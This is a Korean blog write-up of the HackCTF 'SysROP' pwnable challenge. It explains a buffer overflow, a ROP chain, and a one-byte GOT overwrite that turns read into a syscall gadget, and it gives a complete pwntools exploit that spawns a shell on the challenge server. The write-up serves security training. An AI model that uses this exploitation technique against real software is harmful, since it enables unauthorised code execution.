Studying Security

[HackCTF] pwnable: SysROP 풀이 본문

Wargame/HackCTF

[HackCTF] pwnable: SysROP 풀이

J4guar 2022. 4. 15. 01:18
728x90
반응형

Mitigation

Vulnerability Analysis

<file sysrop>

file 명령어로 바이너리 파일 보면 stripped가 되어있는 것을 확인할 수 있는데 이는 실행에 필요한 부분을 제외한 부분을 제거함으로써 실행파일의 크기를 줄이는 것이라고 한다.

그래서 debugging을 하기위해 gdb로 열어 보았을 때 main함수의 symbol이 존재하지 않아 해당 주소를 찾아봄

<main>

read 함수를 가지고 BOF가 가능하도록 되어 있다. 하지만 쓰기함수를 통해 leak가 불가능하다.

syscall instruction을 이용해 exploit해보자

gadget을 살펴보면 pop rax; pop rdx; pop rdi; pop rsi; ret gadget으로

pop rax --> system call

pop rdx; pop rdi; pop rsi; --> 인자 설정

하지만 syscall gadget이 없다...  이를 어떻게 해야할까...??

libc파일에 있는 syscall을 이용하자

dynamic linking 된 libc파일에 있는 syscall gadget을 어떻게 구할까??

libc에 있는 syscall가젯의 하위 1Byte를 GOT_Overwrite해서 syscall을 사용할 수 있다.

<read>
<libc read>

libc에 있는 read의 syscall과 dynamic linking된 상태의 read의 syscall을 보면 하위 12bit가 일치하다는 것을 알 수 있음

따라서 서버에 맞는 libc파일의 하위 1Byte를 GOT_Overwrite를 하면 해당 함수를 syscall처럼 이용 가능하다.

Payload 작성

  1. read( 0, bss, 0x10)         → bss 영역에 "/bin/sh" 문자열 입력
  2. read( 0, read_got, 1)     → read_got 하위 1byte를 syscall gadget의 주소로 GOT_Overwrite
  3. execve( "/bin/sh", 0, 0) → shell 획득을 위한 execve system call

Exploit code

from pwn import *

p = remote("ctf.j0n9hyun.xyz",3024)
e = ELF("./sysrop")
libc = ELF("./libc.so.6")

bss = e.bss()+0x400
read_got = e.got["read"]
read_plt = e.plt["read"]

pop_rax_rdx_rdi_rsi = 0x00000000004005ea
pop_rdx_rdi_rsi = 0x00000000004005eb
main = 0x4005f2

# read( 0, bss, 0x10)
payload = "A"*0x18
payload += p64(pop_rdx_rdi_rsi)
payload += p64(0x10)
payload += p64(0)
payload += p64(bss)
payload += p64(read_plt)
payload += p64(main)
p.sendline(payload)
sleep(0.1)
p.sendline("/bin/sh\x00")
sleep(0.1)

# read( 0, read_got, 1)
payload = "A"*0x18
payload += p64(pop_rdx_rdi_rsi)
payload += p64(1)
payload += p64(0)
payload += p64(read_got)
payload += p64(read_plt)

# execve( "/bin/sh", 0, 0)
payload += p64(pop_rax_rdx_rdi_rsi)
payload += p64(0x3b)
payload += p64(0)
payload += p64(bss)
payload += p64(0)
payload += p64(read_plt)
p.sendline(payload)
sleep(0.1)
p.send("\x5e")
sleep(0.1)

p.interactive()

Result

새로 접한 사실

  • libc에 있는 syscall가젯의 하위 1Byte를 GOT_Overwrite해서 syscall을 사용할 수 있다.

Reference

 

Syscall 가젯이 없을 때

Pwnable문제를 풀다보면 syscall로 익스를 해야될 때가 있다. 딱 언제라고 예를 들기는 어렵지만, 여러가지 제한들이 걸려있는 상황이 그렇다. RTL이 불가능할 때? 이 때 제일 많이 사용했던 것 같다.

py0zz1.tistory.com

반응형
Comments